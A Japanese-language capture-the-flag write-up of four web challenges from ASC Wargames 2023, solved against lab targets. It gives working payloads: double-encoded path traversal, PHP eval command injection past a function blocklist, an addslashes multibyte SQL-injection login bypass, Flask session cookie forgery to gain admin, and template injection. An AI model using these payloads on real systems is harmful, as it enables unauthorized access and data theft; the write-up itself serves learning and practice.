ASC Wargames 2023 [Web] Writeup

4つの問題を解きました。6時間ほどかかり、体力がなくなってギブアップしました。

N1 [easy]

Search deep inside to get the flag. There is no need to brute forcing.

らしいので、ディレクトリを漁る系だろうという感じです。 ../tmp, ../etcで、../を増やしていっても404になるので、robots.txtを見に行ったところ

User-Agent: *
Disallow: /tmp/ASCWG/flag.txt

ということで、ここにあるのはわかりました。愚直に/tmp/ASCWG/flag.txtを指定しても404になります。 とりあえずクエリ変数に入れ込もうと思い、file, filename, name, urlとか試してると、?url=hogeしたタイミングで

Nooooob!!!! Hacking Attempt

と煽られました。どうやらurl変数を見ているようです。?url=/tmp/ASCWG/flag.txtしてやると

Nooooob!!!! Hacking Attempt

これも同じ結果。うーん、url変数はダミーなのかなと思いガチャガチャ手動で他のクエリ変数を試すも成果はないので、url変数を信じることにします。 ?ur%00l=/tmp/ASCWG/flag.txtとか、NULL文字入れてみても、?URL=/tmp/ASCWG/flag.txtとかしても同じ。HPP(HTTP Parameter Polution)しても同じ。 ダブルエンコーディングしてやろと思い、?url=%252Ftmp%252FASCWG%252Fflag.txtしてやるとビンゴでした。

ASCWG{Lf1_V3rY_EssssY_AND_Plz_B3_P@ti3nt}

Iniectio [easy]

X hac septimana infirmata est et ad valetudinarium ivit et nutrix ei injectionem seri deditet nunc bene valet.

DeepLで翻訳すると

X年7月、病気で入院している患者を治療するために、注射を打ち、その注射の栄養を補給した。

??? 早速やっていきます。
サイトはbackground-urlで大きな画像の上に、Hello !!!という文字が。URLが/xchal.phpなので、phpで動いている模様です。 問題名がインジェクションっぽい、かつ、Hello !!!が、入力値をフロントに表示しているっぽいのでSSTIかなと推測。ただクエリ変数が分からないので先ほどの問題同様ガチャガチャすると?nameを見ていることが判明。?name={{7*7}}とすると

oooooooooooh hacker !

と返ってきた。ソースコードが見たかったのでエラーを吐かせてから開発者ツールでトライすると見れました。どうやら

$dangerousFunctions = array('GET','POST','print','exec', 'shell_exec', 'popen', 'system', 'touch', 'echo', 'mv', 'cp', 'sed','``', 'passthru', 'proc_open', 'while', 'read ', '>', '<', 'nano', 'vi', 'vim', 'fopen', 'fgets', 'fgetc', 'file_get_contents', 'fwrite', 'file_put_contents', 'curl_exec', 'curl_multi_exec', 'parse_ini_file', 'sleep', 'rm', 'mkdir', '}', 'show_source', 'symlink', 'apache_child_terminate', 'apache_setenv', 'define_syslog_variables', 'escapeshellarg', 'escapeshellcmd', 'eval', 'pcntl_exec', 'posix_kill', 'posix_mkfifo', 'posix_setpgid', 'posix_setsid', 'posix_setuid', 'posix_uname', 'proc_close', 'proc_get_status', 'proc_nice', 'proc_terminate', 'putenv', 'register_shutdown_function', 'register_tick_function', 'ini_set', 'set_time_limit', 'set_include_path', 'header', 'mail', 'readfile', 'file_get_contents', 'file_put_contents', 'unlink', 'cat', 'tail', 'head', 'more', 'less', 'dd', 'od', 'xxd', 'tac', 'hexdump', 'file', 'awk', 'nano', 'vim', 'iconv', 'strings', 'rev', '|');

これらの文字列が含まれていると弾かれるらしいのでうまく回避しながらSSTIしていきたい。

  <?php
    
   $str = "echo \"<div style='position: fixed; top: 0; left: 0;'><p style='font-size: x-large; color: white;'>Hello " . $name . "!!!</p></div>\";";

    eval($str);
  ?>

フロントがこうなっているので、もろSSTI刺さりそうですね。?name=".`ls`."でディレクトリを確認すると、flag.phpがありました。txtファイルじゃないので嫌気がさしましたがとりあえず見てみます。ただ、cat, less, more, head, revコマンドが使えないのでどうやってファイルの中身を見ようかなと考えます。
cutコマンド(cut -b 1000 flag.php)で取り出せました。多分cut -f 2 -d "ASCWG" flag.phpでも行けると思いますがwriteup書きながら思いついたので知りません。

<?php ASCWG{yeah_mrx_come_her!!!!!!!!!!!!!!!!} ?>

SadQL [Medium]

I do not know whether I should say that or not, but you must bypass the login in any way, but remember that forcing does not always work. (Make Your Choice)

SQLiかな。
とりあえずadminでログイン試行します

email=admin&password=password&submit=Login

リクエストボディは上記の形式をとっているみたいです。特に情報もないので、エラーを吐かせて開発者ツールでソースコードを見ます。 バックエンドはphpで実装されており、エラーの箇所はaddslashes関数を使用している模様です。このaddslashes関数をバイパスしてSQLiをするんだなと推測。

www.php.net

これによるとシングルクォート (') ダブルクォート (") バックスラッシュ () NUL (null バイト) という文字の前に、" / "を付加してエスケープ処理とするみたいです。

www.aure.jp

ここで詳しく書かれているのでとても興味深いです。ただ、この話題すら10数年前の話なのでもうレガシーテクノロジー感ありますね。
少し脱線しましたが、payloadはemail=%bf%5c'oorr/**/1=1%23&password=password&submit=Loginです。 補足ですが、これはorとspaceがaddslashes関数とは別に、手書きのエスケープ処理により削除されるのでorはoorrとし、spaceは/**/を代用した結果です。

adminASCWG{SqL_1Nj3ct1on_1s_V3Ry_Esay_ANd_Funyyyyyy!}}

father's light [Medium]

Enter the enigmatic realm of "Father of Light" Unleash your skills, explore hidden paths, and uncover the depths of mysteriouscreations. Will you emerge as the champion? Dare to unravel the enigma.

???早速やっていきます。
とりあえずログイン機能とユーザ作成機能があります。とりあえずログインしてみると

WELCOME TO THE REGULAR USER PAGE
You are loggedin as a regular user

と表示されます。これまたログインするときにusernameとかにSSTIかなと思いソースコードが見たかったのでエラーを吐かせてから開発者ツールでソースコードを見ます。

• File "/app/app.py", line 28, in login
@app.route('/login', methods=['GET', 'POST'])
@limiter.limit("20 per minute")
def login():
if request.method == 'POST':
username =
request.form['username']
password = request.form['password']
ΑΛΛΛΛΛΛΛΛΛΛΛΛΛΛΛΛΛΛΛΛΛΛΑ
pattern = r'select union |\' | " | or | and | #|--|=| |1=1'
if re.search(pattern, username):
flash('Do You think you can Hack My Applicationnnnnnnn!!!', 'error')
return render_template('login.html', error=True)
elif username == 'admin' and password== 'password' : 

pythonで実装されており、r'select union |\' | " | or | and | #|--|=| |1=1'パターンマッチングでSQLiを弾いてるみたいですね。SSTIではないみたいです。SQLiでも厳しいみたいですね。こういったログイン機能のあるCTFではAdmin権限を取得するのがゴールだったりするので、AdminとしてSQLiするのがゴールではないのなら、AdminのCookieの取得かなと推測しました。
ログインした後、しっかりCookieが付与されていました。FlaskのセッションCookieといえば暗号化ではなく署名といった特徴がありますね。

github.com このツールを使うことでCookieの暗号化/復号が可能です。 AdminのCookieを作るために、まずUserのCookieの形式を確認します。 {'is_admin' : False, 'user_id' : 'hogehoge', 'username' : 'hogehoge'}ということがわかりました。is_adminをTrueにすればいいだけなので、{'is_admin' : True, 'user_id' : 'hogehoge', 'username' : 'hogehoge'}をencodeします。そのCookieをログイン後のCookieに張り付けて、Admin権限取得できました。しかし、Flagはどこにも表示されないので、ここからSSTIすると推測。
ログイン後にプロフィールを更新できる/dashbordパスが存在するので、ここで{{7*7}}するとNameに入力したフォームが49を出力してくれました。
{{config}}と入力すると

"Againnn ?? Do You think you can Hack My Applicationnnnnnnn!!!"

と表示されました。{{}}この文字列は弾かれないようなので、どうやらconfigが弾かれているのかなと思いconfigと入力しても弾かれない。多分 "{{config}}"とか、"{{config"とか"config}}"で見ていると思うので、"{{ config }}"を入力するとFlag取得できました。

&#39;ASCWG{H0la_@ck3r5_Th1s_a_S3m6le_55TI}&#39;,